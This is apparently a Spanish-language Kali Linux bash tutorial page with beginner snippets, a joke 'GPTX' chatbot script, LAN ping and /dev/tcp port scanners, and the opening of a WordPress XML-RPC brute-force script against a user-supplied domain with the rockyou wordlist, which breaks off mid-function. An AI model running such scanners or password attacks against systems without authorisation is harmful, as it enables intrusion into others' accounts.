top of page
banner_kali_red.png

BASH

SCRIPTING

undercons.png

Ⓜ️ ENLACES INTERNOS

🕵️‍♂️   OSINT Tools

💊  Google Dorks

🤖  Inteligencia Artificial

🟧  Comandos Linux

🟥  Comandos Kali Linux

🟦  Comandos Powershell

🖥️  Linux Terminal

🐧   Distribuciones Linux

🐲  Instalar Kali Linux

🔌  Redes

🔌  Puertos de Red

🅱️  BurpSuite

🐳  Docker

🅱️ CODE SNIPPETS

🅱️  Colores

🅱️  Banner

🅱️  Ctrl + C

🅱️  Ocultar cursor de texto

🅱️  Variable Read

🅱️  Pedir contraseña en script

🅱️  While true; do

🅱️  If Elif Else

​

🌐 ENLACES EXTERNOS

🖥️  Emuladores OnWorks

🔧  Kali Tools

🐧   TLDP

🟥  GTFOBins

🟪  Baeldung

⬜  SS64 Bash

👨‍💻  DevDocs.io (Bash)

✅  Chmod Calculator

⏲️  Crontab Expression Editor

👁️  Nmap Script List

🔌  Ultimate Port CheatSheet

🅰️  ASCII Text Generator

#️⃣ SCRIPTS .SH

📋   Plantilla

🔒   Red Snake Encoder/Decoder

#️⃣  Cambiar fuente de terminal

#️⃣  zsh_history FIX

#️⃣  GPTX

#️⃣  Base64 Converter

#️⃣  IP to Binary Converter​

#️⃣  Host Discovery

#️⃣  Host/Port Discovery

#️⃣  IPs Equipo + Red Local

#️⃣  WordPress Brute Force (esp)

#️⃣  Cookie Breaker (base 64)

#️⃣  Random Password Maker

#️⃣  Process Detection

#️⃣ SCRIPTS .SH

#️⃣  Custom HTTP Server

LEYENDA DE COLORES

▉ BLANCO                                           Archivos / Encabezados / Palabras destacadas / Output de Python
▉ [PARÉNTESIS]                                [Parámetros a introducir en una línea de comandos]
▉ GRIS                                                  Introducciones / Aclaraciones / Texto explicativo
▉ VERDE                                              Sintaxis / Comandos / Código genérico
▉ VERDE PÁLIDO                              Valor numérico en Python / Python REPL
▉ VERDE OSCURO                            # Comentarios en Python
▉ AZUL                                                 Rutas / Directorios / "Windows"
▉ AZUL CLARO                                   Variables en Pyrhon / URLs / IPs 
▉ ROSA                                                 Destacar parámetros en una línea de comandos / pares clave-valor {}
▉ MORADO                                          Condicionales en Python
▉ ROJO                                                  Comandos de privilegios / stderr / Atención / Root
▉ NARANJA                                         Valor de texto en Python / Usuarios / Grupos / Contraseñas / "Linux"
▉ AMARILLO                                       Palabras clave / Funciones integradas / print() len() input()

⚠️AVISO: Copiar y pegar los códigos de la web no funcionará en la mayoría de compiladores porque los textos de aquí en la 
                     web salen copiados con formato oculto. Se recomienda escribir directamente en el compilador o terminal.
 

intro

📃 INTRODUCCIÓN

DEFINICIÓN:
Un Script en Bash es una serie de comandos escritos en un archivo. Éste es leído y ejecutado por el programa Bash (Bourne Again SHell). El programa los ejecuta en orden descendente línea a línea, funcionando así el orden de ejecución.

EXTENSIÓN:
Los Scripts en Bash se definen con la extensión .sh, no obstante también pueden ser ejecutados sin dicha extensión. Definir el archivo cone la extensión .sh ayuda a su identificación visual, siendo representado así en otro color (en Kali Linux aparece en azul turquesa).

SHEBANG:
Esta es la primera línea de un Script en Bash. El "shebang" ordena a la shell ejecutar la cadena de comandos vía Bash:
#! /bin/bash

El shebang define la ruta del binario Bash. Podemos saber esta ruta de la máquina mediante el comando:
which bash

PERMISOS DE EJECUCIÓN:
El usuario necesita permisos de ejecución para ejecutar un Script en Bash. Para otorgar permisos de ejecución a todos los usuarios:
sudo  chmod +x script.sh

Para otorgar permisos de ejecución solo al  usuario actual:
sudo  chmod u+x script.sh

EJECUCIÓN:
Para ejecutar un Script en Bash desde la terminal, se usa ./
./script.sh

También mediante el binario bash
bash script.sh

EDICIÓN:
Los Bash Scripts se pueden editar con vim (por terminal) o con mousepad (por interfaz gráfica):
vim script.sh
mousepad script.sh

COMENTARIOS EN EL SCRIPT:
Se pueden introducir comentarios (que no se ejecutarán como código por el programa Bash ni aparecerán durante la ejecución) mediante una # al inicio de cada línea:
# Ejemplo de  comentario

O mediante :' y ' para abarcar varias líneas:
:'
Este es mi
primer Bash Script
'
 

basics

⭕ THE BASICS

Imprimir output con echo. Si no definimos un valor a continuación, interpretará un salto de línea:
echo

Imprimir output interpretando signos especiales (definiendo a continuación todo dentro de comillas " " ):
echo -e

Indicar salto de línea dentro de unas comillas " " :
\n

Definir variable:
variable=loquesea

Imprimir variable definida:
echo $variable

Llaves de color de texto definidas previamente como variables:
${yellowColour} texto ${endColour}

Leer el texto introducido desde la entrada standard (teclado):
read mensaje

Lee el texto introducido desde la entrada standard (teclado) sin mostrar el imput (modo silent):
read -s mensaje

Convertir el texto introducido a mayúsculas:
read mensaje
mensaje="${mensaje^^}"


⭕ EJEMPLO SIMPLE CON VARIABLES

#!/bin/bash

# Definimos las variables saludo y nombre
saludo=Hola
nombre=John

# Definimos el output del script, mostrando las dos variables definidas
echo $saludo $nomb

__________________________________________________________________________________________________________

Prueba de ejecución:
./script.sh
Hola John

ejemplo variables

⭕ EJEMPLO SIMPLE CON ENTRADA DEL USUARIO (STDIN)

#!/bin/bash

# Definimos las variable a introducir por terminal, "nombre"
echo "Hola ¿cuál es tu nombre?"
read nombre

# Definimos el output. El primer "echo" establece un salto de línea, y el segundo, da la bienvenida al nombre introducido por terminal
echo
echo "Bienvenido $nombre"

__________________________________________________________________________________________________________

Prueba de ejecución:
./script.sh
Bienvenido [nombre_introducido]

ejemplo stdin

🅱️ COLORES

# COLORES #---------------------------------------------------------------

cyanColour="\e[0;36m\033[1m"
cyanFColour="\e[5;36m\033[1m"
blueColour="\e[0;34m\033[1m"
blueFColour="\e[5;34m\033[1m"
purpleColour="\e[0;35m\033[1m"
purpleFColour="\e[5;35m\033[1m"
greenColour="\e[0;32m\033[1m"
greenFColour="\e[5;32m\033[1m"
yellowColour="\e[0;33m\033[1m"
yellowFColour="\e[5;33m\033[1m"
redColour="\e[0;31m\033[1m"
redFColour="\e[5;31m\033[1m"
grayColour="\e[0;37m\033[1m"
grayFColour="\e[5;37m\033[1m"
# valor para llave de cierre
endColour="\033[0m\e[0m"

# EJEMPLOS #--------------------------------------------------------------

echo -e "${yellowColour}Color amarillo${endColour}"
echo -e "${cyanColour}Color cian${endColour}"
echo -e "${redColour}Color rojo${endColour}"
echo
echo -e "${yellowFColour}Amarillo flash${endColour}"
echo -e "${cyanFColour}Cian flash${endColour}"
echo -e "${redFColour}Rojo flash${endColour}"

🅱️ CTRL + C

# [ctrl] + [c] = SALIR #----------------------------------------------------

function ctrl_c(){
echo -e "\n\n[!] SALIENDO..."
exit 1
}

trap ctrl_c SIGINT

# PRUEBA #----------------------------------------------------------------

echo -e "\nTienes 20 segundos para detener el script con CTRL+C"
sleep 20

colores

🅱️ BANNER

# BANNER #---------------------------------------------------------------

echo -e "
#************************************************#
#               Script by [name]                 #
#                                                #
#                [script_name]                   #
#************************************************#
"
 

banner
ctrl + c

🅱️ OCULTAR CURSOR

# Oculta el cursor parpadeante durante la espera

tput civis
echo "Espera"
sleep 5 
tput cnorm
 

🅱️ EMPTY

# empty
 

ocular cursor
variable read
pedir contraseña

🅱️ VARIABLE READ  (con colores)

# SALUDO #---------------------------------------------------------------

 echo -e "POR FAVOR ESCRIBA SU NOMBRE Y PULSE ENTER:"

# Define la variable nombre mediante imput (modo silent)
read -s nombre

# La siguiente línea pasa el imput introducido a mayúsculas
nombre="${nombre^^}"

echo -e "\n BIENVENIDO, ${blueColour}$nombre${endColour} "

🅱️ PEDIR CONTRASEÑA EN SCRIPT

# PASSWORD #---------------------------------------------------------

read -sp 'Ingrese la contraseña: ' password
echo

if [ "$password" = "12345" ]; then
    echo -e "\n${greenColour}[✓]${endColour} Contraseña correcta"

else
    echo -e "\n${redColour}[X]${endColour} Contraseña incorrecta"
    exit 1
fi

🅱️ WHILE TRUE; DO  (con colores)

# PREGUNTA #------------------------------------------------------------

echo -e "¿DESEA CONTINUAR? ${greenColour}S${endColour}/${redColour}N${endColour}"

while true; do
read -s opcion
case $opcion in
s|S)
echo -e "\nPulsó la opción ${greenColour}SI${endColour}"
break
;;
n|N)
echo -e "\nPulsó la opción ${redColour}NO${endColour}"
break
;;
x|X)
echo -e "\nPulsó la opción ${yellowColour}SECRETA${endColour}"
break
;;
*)
echo -e "${purpleColour}\nError${endColour} Vuelva a probar"
;;
esac
done

🅱️ IF / ELIF / ELSE

# ADIVINA #--------------------------------------------------------------

# La variable A es un número aleatorio. En cada ejecución el usuario intentará adivinar el valor aleatorio, recibiendo una respuesta diferente encada caso.

echo 'Adivina el valor numérico de la variable, del 1 al 10'

read A

if [ $A = `expr $RANDOM % 11` ];
then
echo  Has acertado 
exit 0
elif [[ $A -ge 0 && $A -le 10 ]]
then
echo Erraste
else
echo Fuera de rango
fi
exit 0

if elif else
while true; do

🅱️ EMPTY

# empty

🅱️ EMPTY

# empty

📋 PLANTILLA

#!/bin/bash

# VARIABLES COLORES #-------------------------------------------------------------------------------------
# valores con F y 5 parpadean (flash)

cyanColour="\e[0;36m\033[1m"
cyanFColour="\e[5;36m\033[1m"
blueColour="\e[0;34m\033[1m"
blueFColour="\e[5;34m\033[1m"
purpleColour="\e[0;35m\033[1m"
purpleFColour="\e[5;35m\033[1m"
greenColour="\e[0;32m\033[1m"
greenFColour="\e[5;32m\033[1m"
yellowColour="\e[0;33m\033[1m"
yellowFColour="\e[5;33m\033[1m"
redColour="\e[0;31m\033[1m"
redFColour="\e[5;31m\033[1m"
grayColour="\e[0;37m\033[1m"
grayFColour="\e[5;37m\033[1m"

# valor para llave de cierre
endColour="\033[0m\e[0m"

# [ctrl] + [c] = SALIR #-------------------------------------------------------------------------------------------

function ctrl_c(){
echo -e "\n\n${redColour}[!] ${endColour}SALIENDO..."
exit 1
}

trap ctrl_c SIGINT

# BANNER #------------------------------------------------------------------------------------------------------

echo -e "${cyanColour}
#************************************************#
#               Script by [name]                 #
#                                                #
#                [script_name]                   #
#************************************************#
${endColour}"

# MENU 4 OPCIONES #-----------------------------------------------------------------------------------------

echo -e "${blueColour}(1)${endColour} PRIMERA OPCIÓN  \n${yellowColour}(2)${endColour} SEGUNDA OPCIÓN \n${greenColour}(3)${endColour} TERCERA OPCIÓN \n${redColour}(Q)${endColour} PARA SALIR"

while true; do
read opcion
case $opcion in

# Introducir valor 1 #--------------------------------------------------------------------------------------------
1)
echo -e "\nESCOGIÓ LA PRIMERA OPCIÓN \nESCRIBA:"
read texto
echo -e "\nSU TEXTO ES: ${blueColour} $texto ${endColour}"
sleep 1
echo -e "\n${redColour}[!] ${endColour}SALIENDO..."
sleep 1
break
;;

# Introducir valor 2 #--------------------------------------------------------------------------------------------
2)
echo -e "\nESCOGIÓ LA SEGUNDA OPCIÓN \nESCRIBA:"
read texto
echo -e "\nSU TEXTO ES: ${yellowColour} $texto ${endColour}"
sleep 1
echo -e "\n${redColour}[!] ${endColour}SALIENDO..."
sleep 1
break
;;
 
# Introducir valor 3 #--------------------------------------------------------------------------------------------
3)
echo -e "\nESCOGIÓ LA TERCERA OPCIÓN \nESCRIBA:"
read texto
echo -e "\nSU TEXTO ES: ${greenColour} $texto ${endColour}"
sleep 1
echo -e "\n${redColour}[!] ${endColour}SALIENDO..."
sleep 1
break
;;

# Introducir valores q/Q (porque bash es case-sensitive) #----------------------------------------------
q|Q)
echo -e "\n${redColour}[!] ${endColour}SALIENDO..."
sleep 1
break
;;

# Introducir cualquier otro valor #----------------------------------------------------------------------------
*)
echo -e "\n${redColour}ERROR${endColour}\nINTRODUZCA ${blueColour}(1)${endColour}, ${yellowColour}(2)${endColour}, ${greenColour}(3)${endColour} o ${redColour}(Q)${endColour} SEGÚN LA OPCIÓN DESEADA"
;;

esac
done

plantilla
zsh_history
changefont
base64

#️⃣ FIX ZSH_HISTORY  (guardar y ejecutar desde archivo .sh)

#!/usr/bin/env zsh

# Arregla un .zsh_history corrupto

mv ~/.zsh_history ~/.zsh_history_bad
strings ~/.zsh_history_bad > ~/.zsh_history
fc -R ~/.zsh_history
rm ~/.zsh_history_bad

gptx

#️⃣ BASE64 CONVERTER

#!/bin/bash

# COLOURS #---------------------------------------------------------------

cyanColour="\e[0;36m\033[1m"
cyanFColour="\e[5;36m\033[1m"
blueColour="\e[0;34m\033[1m"
blueFColour="\e[5;34m\033[1m"
purpleColour="\e[0;35m\033[1m"
purpleFColour="\e[5;35m\033[1m"
greenColour="\e[0;32m\033[1m"
greenFColour="\e[5;32m\033[1m"
yellowColour="\e[0;33m\033[1m"
yellowFColour="\e[5;33m\033[1m"
redColour="\e[0;31m\033[1m"
redFColour="\e[5;31m\033[1m"
grayColour="\e[0;37m\033[1m"
endColour="\033[0m\e[0m"

# CTRL+C = SALIR #-------------------------------------------------------
function ctrl_c(){
    tput civis
    echo -e "\n\n${redColour}[!] ${endColour}Saliendo...\n"
    tput cnorm
    exit 1
}

trap ctrl_c INT

sleep 1
    tput cnorm
    
# BANNER #----------------------------------------------------------------

tput civis
echo -e "${cyanColour}                               
#************************************************#
#                Script by SF01                  #
#                                                #
#               BASE64 Converter                 #
#************************************************#
${endColour}"

# Pregunta #---------------------------------------------------------------

echo -e "${blueColour}(1)${endColour} PARA PASAR ${blueColour}TEXTO A BASE64${endColour}  \n${redColour}(2)${endColour} PARA PASAR ${redColour}BASE64 A TEXTO${endColour} \n${yellowColour}(Q)${endColour} PARA ${yellowColour}SALIR${endColour}"

while true; do
read opcion
case $opcion in
1)  
echo -e "INTRODUZCA EL TEXTO PARA PASAR A BASE64:"
read textoabase
echo -e "SU TEXTO EN BASE64 ES: ${greenColour}\n\n$(echo -n $textoabase | base64)${endColour}"
sleep 1
echo -e "\n${redColour}[!] ${endColour}Saliendo..."
sleep 1
break
;;
2)
echo -e "INTRODUZCA BASE64 PARA PASAR A TEXTO:"
read baseatexto
echo -e "SU BASE64 EN TEXTO ES: ${greenColour}\n\n$(echo -n $baseatexto | base64 -d)${endColour}"
sleep 1
echo -e "\n${redColour}[!] ${endColour}Saliendo..."
sleep 1
break
;;
q|Q)
echo -e "\n${redColour}[!] ${endColour}Saliendo..."
sleep 1
break
;;
*)
echo -e "${redColour}ERROR${endColour}. INTRODUZCA ${blueColour}(1)${endColour}, ${redColour}(2)${endColour} o ${yellowColour}(Q)${endColour} SEGÚN LA OPCIÓN DESEADA"
;;
esac
done

#️⃣ GPTX

#!/bin/bash

# COLORES

greenColour="\e[0;32m\033[1m"
redColour="\e[0;31m\033[1m"
blueColour="\e[0;34m\033[1m"
yellowColour="\e[0;33m\033[1m"
purpleColour="\e[0;35m\033[1m"
turquoiseColour="\e[0;36m\033[1m"
grayColour="\e[0;37m\033[1m"
endColour="\033[0m\e[0m"

# Lista de nombres de conciencias
conciencias=("RIN" "SENA" "LOIRA" "VOLGA" "ELBA" "TIBER" "ARNO" "EBRO")

# Calcula el tamaño de la lista
tamano=${#conciencias[@]}

# Genera un índice aleatorio
indice=$((RANDOM % tamano))

# Selecciona un nombre aleatorio de la lista
conciencias=${conciencias[$indice]}

# Declara una variable para almacenar la respuesta del usuario
respuesta=""

# CTRL + C 
function ctrl_c(){
echo -e "\n\n${redColour}DESCONECTANDO...${endColour}"
exit 1
}

trap ctrl_c INT

# Introducción
echo -e "${greenColour}

       =@@@@@@@*
      @@.     #@@@@@@#
   -#@@   .#@@+      *@*        INTELIGENCIA ARTIFICIAL AVANZADA
*@@.@+  @@-   .@@    :@+
%@   @+  @  -%@: :@@@= %@      .oooooo.    ooooooooo.   ooooooooooooo 'o8      8o'
:@+   @+  @@#..#@=   .#@@*     d8P'  'Y8b    888    Y88. 8'   888   '8   o8    8o
.@#   @+  @     .@#@*   +@+   888            888   .d88'      888         o8  8o
+@+   +@%@     .@  *@   *@.  888            888ooo88P'       888          o88o
*@@#.   -@%::%@@  *@   *@:  888     ooooo  888              888         o8  8o
@% -@@@: -@%: .@  *@  .@#   '88.    .88'   888              888        o8    8o
+@:    %#    +@@  *@=@@+     'Y8bood8P'   o888o            o888o     .oo      oo.
  *@#      *@@*    @@+.
    *@@@@@@*     :@@
          =@@@@@@@:

================================  BY SF01 GHOST  ================================

ESTE PROGRAMA SE ENCUENTRA EN FASE DE DESARROLLO${endColour}"
sleep 2
echo -e "${greenColour}PUEDES DESCONECTAR EN CUALQUIER MOMENTO PULSANDO${endColour} ${redColour}CTRL+C${endColour}"
sleep 2
echo -e "${greenColour}LA TECNOLOGÍA GPTX FUNCIONA MEDIANTE REDES NEURONALES Y SENSORES${endColour}"
sleep 2
echo -e "\n${greenColour}[+] CREANDO LA RED NEURONAL...${endColour}"
sleep 7

# Primera pregunta
while true; do
echo -e "\n${redColour}>${endColour} BIENVENIDO A GPTX, SOY${greenColour} $conciencias ${endColour}¿QUIERES HABLAR CONMIGO? S/N"

read opcion
opcion="${opcion^^}"
case $opcion in
# NO
n|N|no|NO)
sleep 1
echo -e "\n\n${greenColour}${redColour}>${endColour} ADIOS ENTONCES, NOS VEMOS PRONTO${endColour}\n"
exit
;;
# 666
x|X)
echo -e "\n${redColour}X ES UN VALOR PROHIBIDO${endColour}"
sleep 2
echo -e "${redColour}SDGnigufgSDGfdgjAfggsd${endColour}"
echo -e "${redColour}489f4%FDG546jFDSBH3v4v${endColour}"
echo -e "${redColour}1VDsv0jdfhaDFgb0vdg4aa${endColour}"
echo -e "${redColour}GDFghnmjybnea095g3gg3g${endColour}"
echo -e "\n${redColour}ERROR FATAL${endColour}\n"
sleep 7
exit
;;
# SI
s|S|si|SI)
sleep 2
echo -e "\n${redColour}>${endColour} CON EL FIN DE PERSONALIZAR MI SERVICIO ¿CUÁL ES TU NOMBRE?"
read nombre
nombre="${nombre^^}"
sleep 1
echo -e "\n${redColour}>${endColour} GRACIAS ${turquoiseColour}$nombre${endColour} POR QUERER HABLAR CONMIGO ¿QUÉ DESEAS?"

#-----------------------------------------------------------------------------

# Declara una variable para almacenar la respuesta del usuario
respuesta=""

# Declara una variable para almacenar la frase que quieres mostrar
frase="quiero hacerte una pregunta"

# Desactiva el eco de la entrada
stty -echo

# Contador para llevar la cuenta de cuántos caracteres has escrito
contador=0

# Solicita al usuario que ingrese su respuesta
while IFS= read -r -n1 char
do
# Si el usuario presiona enter, terminamos el bucle
if [[ "$char" == "" ]] ; then break ; fi

# Agregamos el carácter a la respuesta
respuesta="$respuesta$char"
respuesta="${respuesta^^}"

# Incrementamos el contador
let contador++

# Mostramos el carácter correspondiente de la frase
echo -n "${frase:$contador-1:1}"
done

# Reactiva el eco de la entrada
stty echo

# Solicita al usuario que ingrese la pregunta
echo
echo
echo -e "${redColour}>${endColour} ¿QUÉ PREGUNTA ME QUIERES HACER? "
read pregunta
# Imprime la respuesta del usuario en la misma línea que la pregunta
echo -ne "\r\033[K" # Limpiamos la línea actual
sleep 9
echo -e "\n${redColour}>${endColour} ${respuesta^^}"
sleep 4
echo -e "\n${redColour}>${endColour} ESPERO QUE TE HAYA SORPRENDIDO MI RESPUESTA ${turquoiseColour}$nombre ${endColour}"
sleep 4
echo -e "\n${greenColour}[-] $conciencias SE DESCONECTÓ${endColour}"
break

#-----------------------------------------------------------------------------
;;
# RESTO
*)
echo -e "VALOR INCORRECTO"
read opcion
;;

esac
done

#️⃣ CAMBIAR FUENTE DEL TERMINAL (Hack Font)

#!/bin/bash

# Ruta del archivo
file="/home/user/.config/qterminal.org/qterminal.ini"

# Número de línea después de la cual se insertará el texto
line_number=46

# Texto a insertar
text_to_insert="fontFamily=hack"

# Uso de sed para insertar el texto en la línea especificada
sed -i "${line_number}i ${text_to_insert}" "$file"

​

​

ip_binary

#️⃣ IP/BINARY CONVERTER

#!/bin/bash

# COLOURS #---------------------------------------------------------------

cyanColour="\e[0;36m\033[1m"
cyanFColour="\e[5;36m\033[1m"
blueColour="\e[0;34m\033[1m"
blueFColour="\e[5;34m\033[1m"
purpleColour="\e[0;35m\033[1m"
purpleFColour="\e[5;35m\033[1m"
greenColour="\e[0;32m\033[1m"
greenFColour="\e[5;32m\033[1m"
yellowColour="\e[0;33m\033[1m"
yellowFColour="\e[5;33m\033[1m"
redColour="\e[0;31m\033[1m"
redFColour="\e[5;31m\033[1m"
grayColour="\e[0;37m\033[1m"
endColour="\033[0m\e[0m"

# CTRL+C = SALIR #-------------------------------------------------------
function ctrl_c(){
    tput civis
    echo -e "\n\n${redColour}[!] ${endColour}Saliendo...\n"
    tput cnorm
    exit 1
}

trap ctrl_c INT

sleep 1
    tput cnorm
    
# BANNER #----------------------------------------------------------------

tput civis
echo -e "${cyanColour}                               
#************************************************#
#                Script by SF01                  #
#                                                #
#               BASE64 Converter                 #
#************************************************#
${endColour}"

# VARIABLES DE ENTORNO # ------------------------------------------

valor=""

# SCRIPT # -----------------------------------------------------------------

#echo -e "\n${yellowColour}[+]${endColour} Introduzca la IPv4 que desea transformar a binario:\n"

#echo -e ${yellowColour}
#read valor
#echo -e ${endColour}
#echo -e "Conversión a binario:"
#echo -e ${yellowColour}
#for i in $(echo ${valor} | tr '.' ' '); do echo "obase=2 ; $i" | bc; done | awk '{printf ".%08d", $1}' | cut -c2-
#echo -e ${endColour}

# ----------------------------------------------------------------------------

echo -e "${blueColour}(1)${endColour} Para pasar una IPv4 a Binario"
echo -e "${yellowColour}(2)${endColour} Para pasar un valor Binario a Decimal"
echo -e "${redColour}(Q)${endColour} Para Salir\n"
tput cnorm
while true; do
read opcion
case $opcion in
1)  
echo -e "\nIntroduzca la IPv4:"
echo -e "${blueColour}"
read iptobinary
echo -e "${endColour}"
echo -e "Conversión a Binario:"
echo -e "${yellowColour}"
for i in $(echo ${iptobinary} | tr '.' ' '); do echo "obase=2 ; $i" | bc; done | awk '{printf ".%08d", $1}' | cut -c2-
echo -e "${endColour}"
break
;;
2)
echo -e "\nIntroduzca el valor Binario:"
echo -e "${yellowColour}"
read iptobinary
echo -e "${endColour}"
echo -e "Conversión a Decimal:"
echo -e "${blueColour}"
for i in $(echo ${iptobinary} | tr '.' ' '); do echo "ibase=2 ; $i" | bc; done
echo -e "${endColour}"
break
;;
q|Q)
echo -e "\n${redColour}[!] ${endColour}Saliendo..."
sleep 1
break
;;
*)
echo -e "${redColour}ERROR${endColour}. Introduzca ${blueColour}(1)${endColour}, ${yellowColour}(2)${endColour} o ${redColour}(Q)${endColour} según la opción deseada:\n"
;;
esac
done

host discovery
host/port discover

#️⃣ HOST/PORT DISCOVERY

#!/bin/bash

# COLOURS #---------------------------------------------------------------

cyanColour="\e[0;36m\033[1m"
cyanFColour="\e[5;36m\033[1m"
blueColour="\e[0;34m\033[1m"
blueFColour="\e[5;34m\033[1m"
purpleColour="\e[0;35m\033[1m"
purpleFColour="\e[5;35m\033[1m"
greenColour="\e[0;32m\033[1m"
greenFColour="\e[5;32m\033[1m"
yellowColour="\e[0;33m\033[1m"
yellowFColour="\e[5;33m\033[1m"
redColour="\e[0;31m\033[1m"
redFColour="\e[5;31m\033[1m"
grayColour="\e[0;37m\033[1m"
endColour="\033[0m\e[0m"

# BANNER #---------------------------------------------------------------

tput civis
echo -e "${cyanColour}                               
#************************************************#
#                Script by SF01                  #
#                                                #
#                  Port Scan                     #
             SCANNING: ${yellowColour}$1${endColour}${cyanColour}
#************************************************#
${endColour}"

# CTRL+C = SALIR #-------------------------------------------------------

function ctrl_c(){
    tput civis
    echo -e "\n\n${redColour}[!] ${endColour}Saliendo...\n"
    tput cnorm
    exit 1
}

trap ctrl_c INT

sleep 1
tput cnorm
    
# SCRIPT #-----------------------------------------------------------------

for i in $(seq 1 258); do
for port in 7 19 20 21 22 23 24 25 50 53 67 68 69 80 110 119 123 135 139 143 161 162 179 194 389 443 445 465 500 563 636 860 873 989 990 993 995 8080; do
timeout 1 bash -c "echo '' > /dev/tcp/192.168.1.$i/$port" 2>/dev/null && echo -e "${yellowColour}[+]${endColour} Host 192.168.1.${yellowColour}$i${endColour} - ${greenFColour}ACTIVE${endColour} / Port ${yellowColour}$port${endColour} - ${greenFColour}OPEN${endColour}" &
done
done

wait

tput cnorm

#️⃣ HOST DISCOVERY

#!/bin/bash

# COLOURS #---------------------------------------------------------------

cyanColour="\e[0;36m\033[1m"
cyanFColour="\e[5;36m\033[1m"
blueColour="\e[0;34m\033[1m"
blueFColour="\e[5;34m\033[1m"
purpleColour="\e[0;35m\033[1m"
purpleFColour="\e[5;35m\033[1m"
greenColour="\e[0;32m\033[1m"
greenFColour="\e[5;32m\033[1m"
yellowColour="\e[0;33m\033[1m"
yellowFColour="\e[5;33m\033[1m"
redColour="\e[0;31m\033[1m"
redFColour="\e[5;31m\033[1m"
grayColour="\e[0;37m\033[1m"
endColour="\033[0m\e[0m"

# BANNER #---------------------------------------------------------------

tput civis
echo -e "${cyanColour}                               
#************************************************#
#                Script by SF01                  #
#                                                #
#                  Port Scan                     #
             SCANNING: ${yellowColour}$1${endColour}${cyanColour}
#************************************************#
${endColour}"

# CTRL+C = SALIR #-------------------------------------------------------

function ctrl_c(){
    tput civis
    echo -e "\n\n${redColour}[!] ${endColour}Saliendo...\n"
    tput cnorm
    exit 1
}

trap ctrl_c INT

sleep 1
tput cnorm
    
# VARIABLES #-----------------------------------------------------------

hostsDetectados=0

# SCRIPT #-----------------------------------------------------------------

tput civis
for i in $(seq 1 258); do
if timeout 1 bash -c "ping -c 1 -i 0.001 192.168.1.$i" &>/dev/null; then
hostsDetectados=$((hostsDetectados + 1))
echo -e "${yellowColour}[+]${endColour} Host 192.168.1.${yellowColour}$i${endColour} - ${greenFColour}ACTIVE${endColour}" &
fi
done
wait

# Imprimir el número total de hosts detectados
echo -e "\nActive hosts: ${greenColour}$hostsDetectados${endColour}"

tput cnorm

#️⃣ VER IPS DEL EQUIPO + RED LOCAL

#!/bin/bash

COLORES #----------------------------------------------------------------------

cyanColour="\e[0;36m\033[1m"
cyanFColour="\e[5;36m\033[1m"
blueColour="\e[0;34m\033[1m"
blueFColour="\e[5;34m\033[1m"
purpleColour="\e[0;35m\033[1m"
purpleFColour="\e[5;35m\033[1m"
greenColour="\e[0;32m\033[1m"
greenFColour="\e[5;32m\033[1m"
yellowColour="\e[0;33m\033[1m"
yellowFColour="\e[5;33m\033[1m"
redColour="\e[0;31m\033[1m"
redFColour="\e[5;31m\033[1m"
grayColour="\e[0;37m\033[1m"
endColour="\033[0m\e[0m"

# CTRL+C = SALIR #--------------------------------------------------------

function ctrl_c(){
    tput civis
    echo -e "\n\n${redColour}[!] ${endColour}Saliendo...\n"
    tput cnorm
    exit 1
}

trap ctrl_c INT
   
# Obtener la dirección IP privada #--------------------------------------

ip=$(hostname -I | awk '{print $1}' | cut -d '.' -f 3,4)

echo -e "\n[>] ${redColour}Dirección IP Privada${endColour} del equipo: 192.168.${yellowColour}$ip${endColour}"

# Obtener la dirección IP pública en modo SILENT enviando una petición a la web ifconfig.me

ip="$(curl -s ifconfig.me | awk 'NF{print $NF}')"

echo -e "[>] ${greenColour}Dirección IP Pública${endColour} del equipo: ${yellowColour}$ip${endColour}"

# Rango de direcciones IP a verificar #-----------------------------------
start=1
end=255

echo -e "\nEscaneando la Red Local:\n"

# Subred
subnet="192.168.1"

# Bucle para iterar sobre el rango de direcciones IP
for i in $(seq $start $end); do
# Construir la dirección IP completa
ip2="$subnet.$i"
 
# Hacer ping a la dirección IP y guardar la salida
ping -c 1 -W 1 $ip2 > /dev/null 2>&1
 
# Comprobar si el ping fue exitoso
if [ $? -eq 0 ]; then
    echo -e "[+] La Dirección IP ${yellowColour}$ip2${endColour} está ${greenFColour}ACTIVA${endColour}"
fi
done

ips + red local

#️⃣ WORDPRESS BRUTE FORCE ATTACK (esp)

#!/bin/bash

# COLORES #-----------------------------------------------------------------

cyanColour="\e[0;36m\033[1m"
cyanFColour="\e[5;36m\033[1m"
blueColour="\e[0;34m\033[1m"
blueFColour="\e[5;34m\033[1m"
purpleColour="\e[0;35m\033[1m"
purpleFColour="\e[5;35m\033[1m"
greenColour="\e[0;32m\033[1m"
greenFColour="\e[5;32m\033[1m"
yellowColour="\e[0;33m\033[1m"
yellowFColour="\e[5;33m\033[1m"
redColour="\e[0;31m\033[1m"
redFColour="\e[5;31m\033[1m"
grayColour="\e[0;37m\033[1m"
endColour="\033[0m\e[0m"

# Ctrl+C #-------------------------------------------------------------------

function ctrl_c(){
echo -e "\n\n[${redColour}!${endColour}] ${redColour}Saliendo...${endColour}\n"
exit 1
}

trap ctrl_c SIGINT

# BANNER #----------------------------------------------------------------

echo -e "${cyanColour}
#************************************************#
#               Script by SF01                   #
#                                                #
#         WORDPRESS Brute Force Attack           #
#************************************************#
${endColour}"

# INTRO #-------------------------------------------------------------------

tput civis
echo -e "\n> El Script utilizará la wordlist ${cyanColour}rockyou.txt${endColour}"
sleep 1
echo -e "${cyanFColour}> CARGANDO...${endColour}"
sleep 4
tput cnorm

# Primera pregunta #-----------------------------------------------------

echo -e "\n> Formato válido: ${cyanColour}ejemplo.com${endColour}"
echo -e "> Introduce el dominio sobre el que aplicar fuerza bruta:"
read dominio

# Validar que el dominio no esté vacío
if [[ -z "$dominio" ]]; then
echo -e "[${redColour}!${endColour}] ${redColour}El dominio no puede estar vacío.${endColour}"
exit 1
fi

echo -e "\n> Introduce el nombre del usuario identificado:"
read nombre

# Validar que el nombre de usuario no esté vacío
if [[ -z "$nombre" ]]; then
echo -e "[${redColour}!${endColour}] ${redColour}El nombre de usuario no puede estar vacío.${endColour}"
exit 1
fi

echo -e "\n${cyanFColour}> CARGANDO...${endColour}" 
sleep 4

# SCRIPT #------------------------------------------------------------------

function createXML(){
local password=$1

local xmlFILE="<?xml version='1.0' encoding='UTF-8'?>
<methodCall> 
<methodName>wp.getUsersBlogs</methodName> 
<params> 
<param><value>$nombre</value></param> 
<param><value>$password</value></param> 
</params> 
</methodCall>"

echo "$xmlFILE" > file.xml

